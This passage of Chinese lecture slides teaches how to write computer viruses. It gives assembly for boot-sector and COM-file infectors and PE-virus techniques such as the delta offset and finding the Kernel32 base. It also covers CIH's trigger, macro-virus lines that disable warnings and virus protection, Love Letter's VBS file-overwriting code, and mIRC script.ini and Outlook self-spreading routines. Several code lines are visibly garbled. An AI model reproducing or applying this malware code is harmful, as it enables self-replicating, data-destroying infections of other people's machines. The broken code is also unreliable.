引导型病毒编制的关键技术 move s,ax call v9 xor ax,ax ; (ax)=0 mov byte ptr ds:[7df7h],al ; 标志清0 v5: mov ds,ax ; (ds)=0 mov ax,word ptr ds:[4ch] mov bx,word ptrds:[4ch] ; 修改中断向量 mov word ptr ds:[4ch],7cd6h mov word ptr ds:[4ch],cs ; 新int 13H中断已修改 push cs pop ds ; (ds)=(cs) mov word ptr ds:[7d30h]:ax ;保存原来的int 13H中断向量 mov word ptr ds:[7d32h]:bx ; v6: mov dl,byte ptr ds:[7df8h] ;加载驱动器盘符 v7: jmp 0000:7c00 ;跳转 db 0eah,00h,7ch,00h,00h ;跳转指令的二进制代码 58

引导型病毒编制的关键技术 http://net.csai.cn/Secure_Virus/200707101030001161.htm (4)读入原主引导分区,转去执行DOS的引导工作。 http://net.csai.cn/Secure_Virus/200707101030001161.htm 59

COM文件型病毒编制的关键技术 1. COM文件的特点 这种文件型病毒主要指DOS操作系统下的COM和EXE文件。COM文件具有如下特点: COM文件是在DOS外壳上直接运行处理器指令和内存数据。为此,在COM文件中要包含COM程序的一个绝对映像,并且MS-DOS要把该映像直接拷贝到内存加载COM程序,而不做任何改变。 2)COM文件的长度不能超过65 024字节。 COM文件是一种单段执行结构。它被分配在一个64k字节的空间中。这个空间中除了要存放COM文件外,还要存放一个程序段前缀PSP和一个起始堆栈。而PSP的大小为256字节,起始堆栈的最小空间为256字节,所以COM文件最大不能超过65 024字节。 3)COM文件的第1条指令必须是程序的入口点。 60

61

COM文件型病毒编制的关键技术 2. COM文件的加载和启动 (1)分配内存:尽可能多地分配内存空间。在DOS运行另一个程序或分配另外的内存空间时,COM将释放不需要的空间。 (2)分配内存成功后,DOS建立一个PSP。如果PSP的第1个FCB(File Control Block)含有一个有效驱动器标识符,即置AL为00H;否则置AL为0FFH (3)在PSP后面(偏移100H)加载COM文件,同时置SS、DS和ES为PSP的段地址。 (4)建立堆栈。 DOS通过把控制权传递给偏移100H处的指令启动程序。 62

COM文件型病毒编制的关键技术 3. 可执行文件病毒的传染过程 (1)文件病毒在宿主文件(.com或.exe)被执行时,驻留内存; (2)病毒开始监视系统运行,等待被传染目标出现; (3)病毒检测可执行文件的特定地址的标识位,判断该文件是否感染了病毒; (4)发现了被感染目标后,利用INT 13H将病毒链接到可执行文件的首部、尾部或中间,并存入磁盘中; (5)完成感染后,继续监视系统的运行,寻找新的目标。 63

COM文件型病毒编制的关键技术 4. 文件型病毒程序编制技术 文件型病毒可以加在COM文件的前部,也可以加在COM文件的尾部。不管加在何处,都可以利用COM文件的第一条指令是程序的入口点,使启动COM程序前先执行病毒程序。方法就是对程序开始处的指令进行修改。例如,病毒程序加在最后,就应当把程序开始处的指令修改成一条跳转指令,跳转到病毒所在的位置。等病毒程序执行完,再把控制权交还给COM程序。当然,实际做的工作并不这么简单。下面是感染COM文件的典型病代码。 (1)修改了的文件头部代码 cs:0100 jmp endOfFile ;db 0e9h,0100h处为COM文件原来入口 ; dw COM文件实际大小 ; endOfFile 文件尾(加入病毒的位置) 64

COM文件型病毒编制的关键技术 (2)在COM文件的尾部的病毒代码部分 … endOfFile: virusStart: 。。。 ; 病毒代码 mov ax,orgcode mov [100],ax mov al,[orgcode+2] mov [102],al virusSize = $-virusStart resume: jmp 100 ; db 0e9h ;dw –(COM文件实际大小 + 病毒代码大小) orgcode db 3 dup(?) ; 原文件由0100开始的3个字节 65

COM文件型病毒编制的关键技术 (3)代码的进一步完善 病毒要感染COM文件,需要进行的工作有: · 首先要把开始的3字节保存到orgcode中,更改为0e9h; · 更改文件实际大小; · 将resume开始的3字节改为:0e9h-(COM文件实际大小+病毒代码大小); · 将病毒代码写到COM文件尾部; · 进行感染的判断和文件大小的判断。 假设:DS:DX指向VirusSize;VirusStart的定义如上。 ; 保存开始的4字节并改写 db 90h,0e9h ; 0e990h为感染标志 dw sizeofcom 66

COM文件型病毒编制的关键技术 感染代码: … mov ax,3d01h int 21h ; 为读写打开 jc OpenError push dx xchg ax,bx mov ax,4202h xor cx,cx int 21h ; 移到文件尾 or dx,dx jnz complete cmp ax, ofeeeh-ViusSIze-11 ; 大于ofeeeh-ViusSIze-11字节的文件不感染 jnb complete cmp ax,4 jb complete ; 小于4字节的文件也不感染 mov di,offset orgcode mov [di+6],ax 67

COM文件型病毒编制的关键技术 add [di+6],VirusSize ; 产生替换代码 mov ax,4200h xor cx,cx xor dx,dx int 21h ; 移到文件头 mov cx,4 mov dx,di mov ah,3fh int 21h ; 读出4个字节 jc complete cmp word ptr [di],0e990h ; 如果没有感染,则 ; nop ; jmp XXXX jz complete add ah,40h int 21h ; 在文件头部写4个字节 68

COM文件型病毒编制的关键技术 mov ax,4202h xor cx,cx xor dx,dx int 21h ; 移到文件尾   mov ah,40h mov dx,VirusSize+11 int 21h ; 写入病毒代码到COM文件中 complete: mov ah,3fh int 21h ; 关闭文件 ErrorOpen: … 69

Win 32 PE病毒编制的关键技术 1. Win 32 PE文件格式 Win 32 PE文件就是Win 32(Windows 95/98/2000/XP)环境下的PE格式(Portable Executable Format)的可执行文件。为了了解病毒对它的感染机理,首先介绍PE文件的结构和运行机制。PE文件的格式如图所示。 70

Win 32 PE病毒编制的关键技术 (1)所有的PE文件必须以一个简单的DOS MZ头开始,它是一个IMAGE_DOS_HEADER结构。 (2)接着是一个极小(几百个字节)的DOS程序DOS stub,用于输出警告,如“该程序不能在DOS模式下运行”。当Win32把一个PE文件映像加载到内存时,内存映像文件的第一个字节对应到DOS Stub的第一个字节。 (3)再接着是作为PE文件标志的1024字节的PE头,它是一个IMAGE_ NT_HEADERS结构。其中包含了很多PE文件被载入内存时需要用到的重要域。执行体在支持PE文件的操作系统中执行时,PE装载器将从DOS MZ头中找到PE头的偏移量。 (4)PE文件的内容部分由一些称为段/节的块组成。每段是一块具有共同属性的数据。段数写在段表中。段的划分是基于各组数据的共同属性,而不是逻辑概念。每段是一块拥有共同属性的数据,比如代码/数据、读/写等。 71

Win 32 PE病毒编制的关键技术 (5)PE文件的装载过程 1 PE文件被执行时,PE装载器检查DOS MZ头中的PE头偏移量。找到了,就跳转到PE头。 2 PE检查器检查PE头的有效性。有效,就跳转到PE头的尾部。 3 读取段表中的信息,通过文件映射,将段映射到内存,同时附上段表中指定的段的属性。 4 PE文件映射到内存后,PE装载器处理PE文件中的有关逻辑。 72

Win 32 PE病毒编制的关键技术 2. Win 32 PE病毒原理 一个Win 32 PE病毒需要具有如下一些功能。 (1)重定位 病毒可能依附在宿主程序的不同位置,当病毒随着宿主程序装载到内存后,病毒中数据的位置也会随之发生变化。由于指令是通过地址引用数据的,地址的不准确将导致病毒程序的不正确执行。为此,有必要对病毒代码中的数据进行重定位。 73

Win 32 PE病毒编制的关键技术 例如:一段病毒代码被加载在0x400000处,地址0x401000处的一条语句及其引用的数据定义如下所示,相关地址是编译器在编译时计算得到的,这里假设编译时预设的基地址也是0x400000: 401000: mov eax,dword ptr [402035] ...... 402035: db “hello world!”,0 如果病毒代码在宿主中也加载到基地址0x400000,显然是能够正常执行的,但大多数时候段代码被加载到了其它的基地址,如代码被加载在基地址0x500000,此时运行时则出错。 74

Win 32 PE病毒编制的关键技术 假如指令块被操作系统映射在 0x500000处,那么代码及其在内存中的地址将变为: 501000: mov eax,dword ptr [402035] ...... 502035: db "hello world!",0 显然,mov指令引用的操作数地址是不正确的,如果我们知道了mov指令运行时地址是0x501000,指令引用的实际数据地址应该为0x402035+0x100000 = 0x502035。只要能够在运行时确定某条指令动态运行时的地址,而其编译时地址已知,我们就能够正确重定位任何代码或数据的运行时地址。 75

Win 32 PE病毒编制的关键技术 第一种方法就是构造PE文件重定位表项。在感染目标PE文件时,将引用自身数据的需要被重定位的地址全部写入目标PE文件的重定位表中,重定位的工作就完全由系统加载器在加载PE文件的时候自动进行了。重定位表项由PE文件头的DataDirectory数据中的第6个成员 IMAGE_DIRECTORY_ ENTRY_BASERELOC指向。该方法需要的代码稍多,实现起来也相对比较复杂,另外如果目标文件无重定位表项 (为了减小代码体积,这种情况也不少见),处理起来就比较麻烦,只有用高级语言编写病毒才常用该种方法,在一般的PE病毒中很少使用。 第二种方法利用Intel X86体系结构的特殊指令,call或fnstenv等指令动态获取当前指令的运行时地址,计算该地址与编译时预定义地址的差值(被称为delta offset),再将该差值加到原编译时预定的地址上,得到的就是运行时数据的正确地址。对于intel x86指令集而言,在书写代码时,通过将delta offset放在某个寄存器中,然后通过变址寻址引用数据就可以解决引用数据重定位的难题。 76

Win 32 PE病毒编制的关键技术 在病毒代码的开始处,计算获取偏移地址delta offset的值: call delta delta: pop ebp sub ebp,offset delta 在运行时就动态计算出了delta offset值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp执行完毕后ebp中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset的值。 假设ebp包含了delta offset,使用变址寻址指令则可保证在运行时引用的数据地址是正确的: ;ebp包含了delta offset值 401000: mov eax,dword ptr [ebp+0x402035] ...... 402035: db “hello world!”,0 除了用明显的call指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进 行,这些指令也都可以获取某条指令的运行时地址。 77

Win 32 PE病毒编制的关键技术 (2)获取API函数地址 在Win 32环境中,系统功能调用不是通过中断实现,而是通过调用API函数实现。因此,获取API函数的入口地址非常重要。 普通的Win 32 PE程序里有一个引入函数节,可以通过引入函数表找到相应API函数的真正执行地址。系统加载Win 32 PE文件的时候,会解析引入DLL的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API函数的运行时真正地址,从而能够将引入的特定DLL中函数的运行时地址填入PE的引入函数表中。 但是,Win 32 PE病毒只有一个代码段,并不存在引入函数节,因此不能直接用真实地址调用API函数。所以获取API地址是病毒的一个重要技术。 78

Win 32 PE病毒编制的关键技术 A) 在感染PE文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API的调用指向该引入表函数地址,若未引 入,则修改引入表增加该函数的引入表项,并将对该API的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API函数地 址填好了,病毒代码即可正确地直接调用该函数。 B)解析DLL的导出表,从中获取所需要的API地址。病毒首先获取DLL在内存中的真实加载地址,在运行时解析搜索DLL的导出表,即从PE的头部信息中找到导出表的位置。由于Kernel32.DLL几乎在所有 的Win32进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary和GetProcAddress两个API可以获取任意DLL中导出的任意函数,在迄今为止的所有Windows平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析 Kernel32.DLL的导出表获取常用的API地址,如需要可进一步使用Kernel32.DLL中的LoadLibrary和 GetProcAddress两个API更简单地获取任意其他DLL中导出函数的地址并进行调用。 79

Win 32 PE病毒编制的关键技术 获取Kernel32的基地址 A)暴力搜索获取Kernel32.DLL的基址 最初的病毒是指定一个大致的加载地址,比如根据实验在9X下其加载地址是0xBFF70000;在Windows 2000下加载基址是0x77E80000;在XP和2003下其加载基址是0x77E60000,因此在NT系统下就可以从0x77e00000开始向 高地址搜索,在9X下可以从0xBFF00000开始向高地址搜索,如果搜索到Kernel32.DLL的加载地址,其头部一定是“MZ”标志,由模块起 始偏移0x3C的双字确定的PE头部标志必然是“PE”标志,因此可根据这两个标志判断是否找到了模块加载地址。而且,在所有版本的 Windows系统下Kernel32.DLL的加载基址都是按照0x10000对齐的,根据这一特点可以不必逐字节搜索,按照64K对齐的边界地址搜索即可。 80

Win 32 PE病毒编制的关键技术 当系统打开一个可执行文件时,会调用Kernel32.dll中的CreateProcess函数。CreateProcess函数在完成装载应用程序后,先要将一个返回地址压入堆栈顶,然后转向那个要装载的应用程序。这个应用程序结束后,就将这个地址数据弹出到EIP中,继续执行。因此,在系统加载PE 文件跳转到PE入口点第一条指令的时候,堆栈顶保存的就是Kernel32.DLL中的某个地址,只要明确知道程序入口的堆 栈指针值,或间接可计算出该值,就可以在其附近搜索Kernel32模块的基地址。 81

Win 32 PE病毒编制的关键技术 在Win32程序执行过程中fs段寄存器的基址总是指向进程的TEB,TEB(线程环境块 )的第一个成员指向SHE(结构化异常处理 )链表,该链表每个节点 都是一个EXCEPTION_REGISTRATION结构,该结构定义如下: struct EXCEPTION_REGISTRATION{ struct EXCEPTION_REGISTRATION *prev; void* handler; }; 在Windows下SEH链表最后一个成员的handler指向Kernel32.DLL中函数UnhandledExceptionFilter的起始地址。利用这一特性我们可以写出更通用的代码取得Kernel32.dll中UnhandledException Filter的地址,再按照前面的方法向低地址搜索判断直到找到Kernel32.dll的基址。 82

Win 32 PE病毒编制的关键技术 83 取得Kernel32.dll中UnhandledExceptionFilter的地址 : xor esi,esi lods dword [fs:esi];取得SEH链表的头指针 @@: inc eax ;是否是最后一个SEH节点,检查prev是否为0xFFFFFFFF je @F dec eax xchg esi,eax LODSD ;下一个SEH节点 jmp near @B @@: LODSD ; 判断是否找到了 Kernel32.dll基址的相关代码如下: search_api_addr_@1: add ebx,10000h jz short search_api_addr_seh_restore cmp word ptr [ebx],'ZM' ;是否是MZ标志 jnz short search_api_addr_@1 mov eax,[ebx+3ch] add eax,ebx cmp word ptr [eax],'EP' ;是否具有PE标志 jnz short search_api_addr_@1 ;找到了kernel32.dll的基址 83

Win 32 PE病毒编制的关键技术 获取Kernel32的基地址 B)搜索PEB的相关结构获取Kernel32.DLL的基址 前述TEB偏移0x30处,亦即FS:[0x30]地址处保存着一个重要的指针,该指针指向PEB(进程环境块),PEB成员很多,这里并不介绍PEB的 详细结构。我们只需要知道PEB结构的偏移0xC处保存着另外一个重要指针ldr,该指针指向PEB_LDR_DATA结构: typedef struct _PEB_LDR_DATA { ULONG Length; // +0x00 BOOLEAN Initialized; // +0x04 PVOID SsHandle; // +0x08 LIST_ENTRY InLoadOrderModuleList; // +0x0c LIST_ENTRY InMemoryOrderModuleList; // +0x14 LIST_ENTRY InInitializationOrderModuleList;// +0x1c } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24 84

Win 32 PE病毒编制的关键技术 该结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针,分别是按照加载顺序、在内存中的地址顺序和初始化顺序排列的模块 信息结构的指针。LDR_MODULE结构如下所示: typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; // +0x00 LIST_ENTRY InMemoryOrderModuleList; // +0x08 LIST_ENTRY InInitializationOrderModuleList; // +0x10 PVOID BaseAddress; // +0x18 PVOID EntryPoint; // +0x1c ULONG SizeOfImage; // +0x20 UNICODE_STRING FullDllName; // +0x24 UNICODE_STRING BaseDllName; // +0x2c ULONG Flags; // +0x34 SHORT LoadCount; // +0x38 SHORT TlsIndex; // +0x3a LIST_ENTRY HashTableEntry; // +0x3c ULONG TimeDateStamp; // +0x44 // +0x48 } LDR_MODULE, *PLDR_MODULE; 85

Win 32 PE病毒编制的关键技术 Peb->Ldr->InInitializationOrderModuleList指向按照初始化顺序排序的第一个 LDR_MODULE节点的InInitializationOrderModuleList成员的指针,在WinNT平台(不包含 Win9X)下,该链表头节点的LDR_MODULE结构包含的是NTDLL.DLL的相关信息,而链表的下一个节点所包含的就是 Kernel32.dll相关的信息了,该节点LDR_MODULE结构中的BaseAddress正是我们所需的地址。注意 InInitializationOrderModuleList是LDR_MODULE的第3个成员,因此要获取BaseAddress的地址,只需将其指针加8再derefrence即可。因此下面的汇编代码即可获取Kernel32.DLL的基址: mov eax, dword ptr fs:[30h] ;获取PEB基址 mov eax, dword ptr [eax+0ch] ;获取PEB_LDR_DATA结构指针 mov esi, dword ptr [eax+1ch] ;获取InInitializationOrderModuleList链表头第一个LDR_MODULE节点 InInitializationOrderModuleList成员的指针 lodsd ;获取双向链表当前节点后继的指针 mov ebx, dword ptr [eax+08h] ;取其基地址,该结构当前包含的是                      ;kernel32.dll相关的信息 86

Win 32 PE病毒编制的关键技术 (3)搜索目标文件 (4)内存文件映射 (5)感染其他文件 (6)返回到宿主程序。 通常通过两个API函数FindFirstFile和FindNextFile实现。 (4)内存文件映射 使用内存文件映射进行文件读写。 (5)感染其他文件 (6)返回到宿主程序。 87

Win 32 PE病毒编制的关键技术 3. Win 32 PE病毒实例——CIH病毒 CIH病毒以Win 32 PE文件为攻击对象。它开创了直接攻击、破坏硬件的先例,发作时破坏Flash BIOS芯片中的系统程序,导致主板损坏,造成部分厂家的主板开机后无反应;同时,使硬盘驱动器不停地转动,病毒以2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘中的全部数据被破坏。 88

Win 32 PE病毒编制的关键技术 (1)CIH病毒的基本特点 · CIH病毒很短,CIHv1.2只有1003个字节。 · 可以绕过Windows的应用程序界面,绕过ActiveX、C++和C,使用汇编,利用虚拟设备驱动程序VxD,直接进入Windows内核。 · 采用碎洞攻击技术,将病毒化整为零,插入到宿主文件中,因而不改变宿主文件大小。 · 利用多数BIOS芯片开放可重用性的特点,可以向计算机主板的BIOS端口写如乱码。 89

Win 32 PE病毒编制的关键技术 (2)CIH病毒驻留程序的驻留过程 一旦要执行带有CIH病毒的EXE文件,由于病毒修改了该文件程序的入口地址,使调入内存执行的是病毒的驻留程序(长184字节)。驻留的主要过程如下: 1.取得IDT(中断描述符)的基地址。 2. 把IDT的INT 3的入口地址改为指向CIH自己的INT 3入口,以获得最高级别(Ring0级)的Windows权限(可以在Windows内核执行各种操作,如终止系统运行、直接对内存读写、截获各种中断、控制I/O端口等)。 90

Win 32 PE病毒编制的关键技术 3 执行INT 3指令,进入自身的INT 3入口程序。具体工作为: a 检查调式寄存器DR0的值,判断CIH病毒是否已经驻留: · 不为0,表示CIH病毒已经驻留,要恢复原先的INT 3入口,把控制权交给Windows; · 为0,表示尚未驻留,CIH病毒将尝试驻留。 b 将当前EBX寄存器的值赋给DR0寄存器,生成驻留标志。 c 调用INT 20中断,请求系统分配两页Windows内存,以便程序长期驻留内存。 d 内存申请成功,将破碎的病毒程序收集起来,组合后放到申请到的内存空间中。 e 调用INT 3入口程序,调用INT20,在windows内核的文件处理函数中挂接钩子,以截取文件调用操作,以便病毒的传染部分能在第一时间截获要求开启的文件调用。 f 将同时截获的核心文件输入/输出服务程序的入口地址保存到RD0寄存器中,以便CIH病毒调用。 g 驻留成功,恢复宿主文件正常入口,执行宿主程序: · 恢复原来的IDT中断表中的INT 3入口,退出INT 3; · 根据病毒程序隐藏的原文件的正常入口地址,跳到原来文件的正常入口。 91

Win 32 PE病毒编制的关键技术 (3)CIH病毒的感染过程 CIH病毒的传染是通过病毒驻留内存过程中,调用Windows内核底层的IFSMgr_InstallFileSystemApiHook函数挂接钩子时,指针指示的程序段实现。这段程序长586字节。大致过程如下: 1 文件截获:调用INT 20的VxDcallUniToBCSPath系统功能调用,取回系统要开启的文件的文件名和路径。 2 EXE文件判断:非EXE文件,不感染,离开病毒程序,跳回Windows内核的正常文件处理程序。 3 PE格式判断:取出文件标识符进行分析,若Signature=“00455000(OOPE00)”且未感染,就对其感染;否则,只发作。 92

Win 32 PE病毒编制的关键技术 4 寄生计算:CIH病毒利用PE格式文件的文件头和各个区都可能存在自由空间碎片,将病毒程序拆分成若干大小不等的块,见缝插针地插到宿主文件的不同区内。 首先要技术计算有无可以存放病毒首块的空间。没有这样的空间就不感染。病毒首块包括: · 病毒块链表指针区:8×(区数+1)字节,存放每个病毒块的首地址(每块4字节)及其长度(每块4字节); · 184字的病毒驻留程序。 接着将整个病毒读入内存,按PE文件的各区进行计算分配。 93

Win 32 PE病毒编制的关键技术 (4)CIH病毒的发作 5 写入病毒:按照计算结果,将各块压栈,以逆序将各块写入到相应自由空间。 CIH v1.4在每年4月26日发作。病毒从CMOS的70、71端口取出系统当前日期进行判断: mov ax,0708 ut 70,al in al,71 ; 取当前系统月份 xchg al,ah out 70,al in al,71 ; 取当前系统r日 xor ax,0426 ; 判断 … ; jz病毒发作程序 94

宏病毒及其关键技术 1. 宏病毒及其发作 宏是嵌入在字处理文档或其他类型文件中的一段用宏语言编写的可执行程序,用户使用宏可以完成一些重复性的工作。例如,用户可以通过宏定义一个击键序列,然后就可以通过敲击功能键或特定的组合键来启动该宏,以减少在键盘上的直接操作。 据美国国家计算机安全协会统计,宏病毒大约占整个病毒的三分之一。宏病毒所以如此猖獗,主要原因有下列一些: 95

宏病毒及其关键技术 (1)宏病毒感染的是文档而不是代码的可执行部分 (2)宏病毒与平台无关 宏病毒的存在和执行,依赖于系统是否具有强大的宏语言环境。Word从6.0开始,Excel从4.0开始,数据文件中就包含了宏语言功能。而计算机中具有大量这样的文档文件,并且人们使用极为普遍的电子邮件往往是以文档的形式进行传输。这就为宏病毒的传播提高了方便途径。 (2)宏病毒与平台无关 应用极为普遍的Word和Excel是宏病毒的主要载体,所有支持Word和Excel的硬件平台和操作系统都会感染宏病毒。 96

宏病毒及其关键技术 (3)宏病毒中有一种自动执行宏,它不需要用户启动,只要出现相应的执行事件,就可以自动运行。常见的自动执行宏如表所示的一些。 Word Excel Office 97/2000 AutoOpen Auto_Open Document_Open AutoClose Auto_Close Document_Close AutoExcec   AutoExit Document_New AutoNew Auto_Activate Auto_Deactivate 97

宏病毒及其关键技术 不仅Word和Excel,Access、PowerPoint、Visio、CoreDraw、WordPro也具有强大的宏语言。自Word97和Excel97之后,Microsoft逐渐将宏语言统一到VBA(Visual BASIC for Application)上。 除了随文件操作自动执行的宏,还有一类宏会随着指定键或指定键序列的操作被自动触发,拿到系统控制权下面是一个在Normal模板中的AutoNew宏。当用户新打开一个Word时,就会弹出一个提示“新建文件自动执行宏示例”的窗口。 Sub AutoNew() MsgBox “新建文件自动执行宏示例”,0,“宏病毒测试” End Sub 98

宏病毒及其关键技术 2. 宏病毒的隐藏措施 (1)关闭有关提示和容易引起怀疑的操作,如 On Error Resume Next ‘出错时不提示,继续执行下面语句 Application . DisplayAlerts = wdAlertsNone ‘不弹出警告窗口 Application . DisplayStatusBar = False ‘不显示状态栏,以免显示宏的运行状态 Application . EnableCancelKey = wdCancelDisabled ‘不可通过ESC结束当前运行的宏 Application . ScreenUpdating = False ‘关闭屏幕刷新,以免看到病毒引起的速度变慢 Options . SaveNormalPrompt = False ‘若公共模块被修改,不显示提示窗口直接保存 Options . VirusProtection = False ‘关闭病毒保护:若运行前包含宏,不提示 (2)屏蔽一些菜单功能(如“工具 | 宏”等),以免被用户手工发现。 99

宏病毒及其关键技术 3. 宏病毒的基本传播过程 (1)将宏病毒依附与一个Word文档; (2)通过电子邮件或移动存储设备,把该文档输入到一个系统; (3)一个被染毒的.doc文件被打开后,会通过Auto类宏来激活病毒,接着感染诸如normal.dot或powerup.dot等全局模板文件,得到系统的“永久”控制权。 (4)宏把自身拷贝到全局宏文件中; (5)下一次启动Word时,将激活全局宏,并在该宏执行时会进行自我复制并破坏系统。 100

脚本病毒及其关键技术 1. 脚本病毒的特点 脚本是嵌入到数据文档中执行一个任务的一组指令。最典型的脚本是嵌入到网页中的脚本,它们可以实现网站的点击计数器、格式处理器、实时时钟、鼠标效果、搜索引擎等功能。 脚本由脚本语言描述。常用的脚本语言有:VBScript、Jscript、JavaScript、PerScript等。并且,脚本不是由CPU直接执行,而是由某个程序解释,如嵌入在HTML文件(网页)中的脚本是由浏览器解释执行的。 脚本病毒是一些嵌入在应用程序、数据文档和操作系统中的恶意脚本。脚本病毒一般嵌入在CSC(CoreDraw)、Web(HTML、HTM、HTH、PHP)、INF(information)、REG(registry)等文件中,主要通过电子邮件和网页传播。 101

脚本病毒及其关键技术 2. 脚本病毒的感染机制 脚本病毒中最有代表性的是用VBScript 编写的VBS病毒。VBS病毒具有如下一些特点: 编写简单、生产容易; 传播范围广、感染力强、破坏力大; 欺骗性强、变种多。 2. 脚本病毒的感染机制 脚本病毒直接通过自我复制感染文件,病毒中的绝大部分代码可以直接附加在同类程序中间。例如,新欢乐时光病毒是将自己的代码附加在.htm的尾部,并在顶部加入一条调用病毒代码的语句;而爱虫病毒则直接生成一个文件的副本,将病毒代码嵌入其中,同时将原文件名作为病毒文件的文件名前缀,以vbs作为后缀。 102

脚本病毒及其关键技术 下面是爱虫病毒的文件感染部分的关键代码: set fso = createobject(“scripting.filesystemobject”) ‘ 创建一个文件对象 set self = fso.opentextfile(wscript.scriptfullname,1) ’ 读当前打开文件(病毒文件) vbscopy = self.readall ’ 读取全部病毒代码到字符串变量vbscopy ┇ set ap = fso.opentextfile(目标文件.path, 2,true) ’ 写打开目标文件,为写病毒代码做准备 ap.write vbscopy ‘ 用病毒代码覆盖目标文件中的代码 ap.close set cop = fso.getfile(目标文件.path) ‘ 得到目标文件路径 cop.copy(目标文件.path & “. vbs) ‘ 创建以.vbs为后缀的病毒文件 目标文件.delete(true) ‘ 删除目标文件 103

脚本病毒及其关键技术 3. 脚本病毒的文件搜索 寻找满足条件的感染对象,是病毒的一个重要机能。下面是一个VBS病毒的搜索函数。它采用递归算法遍历整个分区的目录和文件。 sub scan(folder_) ‘ 搜索函数scan定义 on error resume next ‘ 跳过错误,防止弹出错误窗口 set folder_ = fso.getfoder(folder_) set files = folder_.files ‘ 取当前目录的所有文件集合 for each file in files ‘ 对文件集合中的每个文件进行测试 ext = fso.GetExtensionName(file) ‘ 获取文件名后缀 ext = lcase(ext) ‘ 小写转换后缀名 if ext = “mp3” then ‘ 以“mp3”后缀作为条件 Wscript.echo(file) ‘ 用来模拟病毒感染或破坏模块 end if next set subfolders = folder-.subfolders for each subfolder in subfolders‘ 递归调用scan(),搜索其他目录 scan(subfolder) end sub 104

脚本病毒及其关键技术 4. 脚本病毒的传播手段 (1)通过电子邮件传播 通过电子邮件传播的关键是获得合法的电子邮件地址。下面是一个VBS病毒的传播算法,它是直接取Outlook地址簿中的邮件地址。 105

脚本病毒及其关键技术 set MAPI对象 = Outlook对象. GetNameSpace(“MAPI”)// 获取MAPI的名字空间 set 地址对象 =MAPI对象. 地址表(i) // 获取地址表的个数 for 地址对象表中的每一个地址表 获取每个地址表的E-Mail地址数 for 地址表中的每个E-Mail地址 获取一个邮件地址对象实例 获取具体E-Mail地址 填入收信人地址 写入邮件邮件标题 写入邮件内容 定义邮件附件 发送邮件 信件提交后删除 写病毒标记,以免重复感染 next 设置 MAPI对象 = 空 设置 Outlook = 空 106

脚本病毒及其关键技术 (2)通过局域网共享传播 在VBS中有一个对象可以实现局域网邻居共享文件夹的搜索与文件操作。利用该对象可以实现病毒的传播。 简化的传播算法过程: 创建一个网络对象 创建一个网络打印机连接列表 显示每台网络打印机连接情况 创建一个网络共享连接列表 寻找目标驱动器 感染 107

脚本病毒及其关键技术 (3)通过网页文件传播 脚本病毒通过htm网页传播依赖于FSO(File System Object,文件系统对象)和WSH(Windows Script Host,Windows脚本宿主)对象。 WSH可以理解为内嵌于Windows操作系统中的脚本语言工作环境。它较多地考虑了“非交互性脚本“的需要,使脚本功能非常强大,例如: 实现网络驱动器 检索并修改环境变量 处理注册表项 对文件系统进行操作 管理员用其支持功能创建简单的登陆脚本 编写脚本管理活动目录 108

脚本病毒及其关键技术 这些功能主要通过内置的WSH对象实现。WSH共有14个内置对象,它们分别具有不同的功能。脚本病毒通过htm网页传播的关键是使FSO和WSH对象能够在网页内运行。 通常,要先对COM进行初始化,在获取相应的组件对象后,病毒就可以正确地使用FSO和WSH两个对象。下面给出一段病毒代码。其中 {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} (Windows Script Host shell Object) {0D43FE01-F093-11CF-8940-00A0C9054228} (File System Object) 是注册表中WSH和FSO的两个主键。 Set AppleObject = document.applets(“KJ_guest”) AppleObject.setCLSID(“{ F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”) AppleObject.createInstance() ‘ 创建一个实例 Set WsShell = AppleObject() AppleObject. setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”) Set FSO = AppleObject() 109

脚本病毒及其关键技术 (4)通过IRC聊天通道传播 这里仅以MIRC()为例来说明病毒通过IRC传播的过程。由于控制IRC会话的命令存放在Script.ini中。并且Script.ini文件中的命令是可以自动执行的。因此,IRC病毒传播的关键是在Script.ini文件中写一些代码,利用某些命令给通道中的其他用户传送病毒文件,使得用户使用被感染的通道时,都会收到一份病毒文件。下面是一般通过IRC传播病毒代码。 110

脚本病毒及其关键技术 Dim mirc set fso = CreateObject(‘Scripting.FileSystemObject”) set mirc = fso.CreateTextFile(“C:\mirc\script.ini”) ‘创建文件script.ini fso.CopyFile Wscript.ScriptFullName, “C:\mirc\attachmemnt.vbs”,True ‘将病毒文件备份到attachment.vbs mirc.WriteLine “[script]” mirc.WriteLine “n0 = on 1:join:*.*:{if ($nick != $me ) {halt}/dcc send $nick C:\mirc\attachment.vbs}” ‘ 利用命令/ddc send $ nick attachment.vbs给通道中的其他用户传送病毒文件 mirc.Close 111

脚本病毒及其关键技术 5. 脚本病毒获得控制权的方法 获取控制权的能力是病毒的关键能力,下面介绍脚本病毒获取控制权的几种典型方法。 (1)修改注册表 Windows启动时会自动加载一些程序。这些程序是下面的项下的键值所指向的程序: HKEY_LOCAL-MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run 利用这一特点,病毒也可以在此项下加一个键值,让这个键值指向病毒程序,这样就能保证在每次计算机启动时病毒能取得控制权。 (2)修改执行方式 例如新欢乐时光将dll的执行方式修改为wscript.exe,也可以将exe文件的映射指向病毒代码。 112

